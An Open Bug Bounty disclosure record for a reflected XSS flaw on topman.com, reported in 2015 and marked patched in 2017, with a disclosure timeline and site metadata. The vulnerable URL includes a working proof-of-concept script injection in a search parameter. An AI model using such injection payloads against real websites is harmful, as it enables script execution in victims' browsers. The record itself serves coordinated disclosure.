Lucene search

K
openbugbountyDim0kOBB:83751
HistorySep 01, 2015 - 8:05 a.m.

topman.com XSS vulnerability

2015-09-0108:05:00
dim0k
www.openbugbounty.org
8
Vulnerable URL:
http://www.topman.com/webapp/wcs/stores/servlet/CatalogNavigationSearchResultCmd?langId=-1&storeId;=12555&catalogId;=33056&Dy;=1&Nty;=1&beginIndex;=1&pageSize;=20&Nrpp;=20&pageNum;=1&Ntt;='";prompt(/XSSPOSED/)//
Details:
Description Value
Patched: Yes, at 25.07.2017
Latest check for patch: 25.07.2017 16:49 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 14431
Google Pagerank 5
VIP website status: Yes
Check topman.com SSL connection: (Grade: A)
Coordinated Disclosure Timeline:
Description Value
Vulnerability reported 1 September, 2015 08:05 GMT
Vulnerability existence verified and confirmed 1 September, 2015 08:08 GMT
Vulnerability patched by the website owner 25 July, 2017 16:49 GMT